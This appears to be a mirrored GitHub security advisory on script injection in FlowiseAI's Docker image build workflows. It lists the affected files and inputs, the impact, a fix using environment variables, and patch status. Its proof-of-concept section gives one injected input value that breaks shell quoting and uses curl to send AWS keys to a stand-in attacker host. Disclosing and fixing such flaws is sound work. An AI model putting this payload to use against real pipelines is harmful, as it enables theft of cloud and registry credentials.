GHSA-JRCQ-QJW5-XX5Q
Script injection in Docker image build workflows allows secret theft
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 3.1.4 | flowise · -33 d desde divulgación | |
| Divulgación | Publicada | GHSA-JRCQ-QJW5-XX5Q divulgada · CVSS 8.3 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
8 script injection vulnerabilities across 3 Docker image build workflows allow a user with write access to steal AWS credentials and Docker Hub tokens by injecting shell commands through workflow_dispatch inputs.
Details
The following workflow_dispatch inputs are interpolated directly into `run:` blocks using `${{ }}` syntax, which GitHub expands before the shell executes. This allows shell metacharacters in the input to break out of the intended context and run arbitrary commands.
FlowiseAI/Flowise:
- docker-image-dockerhub.yml lines 26-27 https://github.com/FlowiseAI/Flowise/blob/main/.github/workflows/docker-image-dockerhub.yml#L26 — `node_version`, `tag_version` (secrets: DOCKERHUB_TOKEN)
- docker-image-ecr.yml lines 39-40 https://github.com/FlowiseAI/Flowise/blob/main/.github/workflows/docker-image-ecr.yml#L39 — `node_version`, `tag_version` (secrets: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
FlowiseAI/FlowiseTestBullMQ:
- docker-image.yml lines 51-54 https://github.com/FlowiseAI/FlowiseTestBullMQ/blob/main/.github/workflows/docker-image.yml#L51 — `registry`, `image_type`, `node_version`, `tag_version` (secrets: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, DOCKERHUB_TOKEN)
PoC
A user with write access triggers the workflow via workflow_dispatch with a crafted input:
tag_version: `latest"; curl https://attacker.com?k=$AWS_ACCESS_KEY_ID&s=$AWS_SECRET_ACCESS_KEY; echo "`
This breaks the shell quoting, executes the curl command with the AWS credentials, and the attacker receives them.
Impact
A compromised contributor account or malicious insider can steal:
- AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY (ECR access, infrastructure)
- DOCKERHUB_TOKEN (push malicious Docker images)
- AWS_OIDC_IAM_ROLE (assume cloud IAM role)
Fix
Pass inputs through environment variables instead of direct interpolation:
```yaml
- env:
TAG_VERSION: ${{ github.event.inputs.tag_version || 'latest' }}
run: echo "$TAG_VERSION"
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmflowise |
Corregida | 3.1.4 | -33 d | 3.1.4 no afectada |
3.1.4Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-jrcq-qjw5-xx5qLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
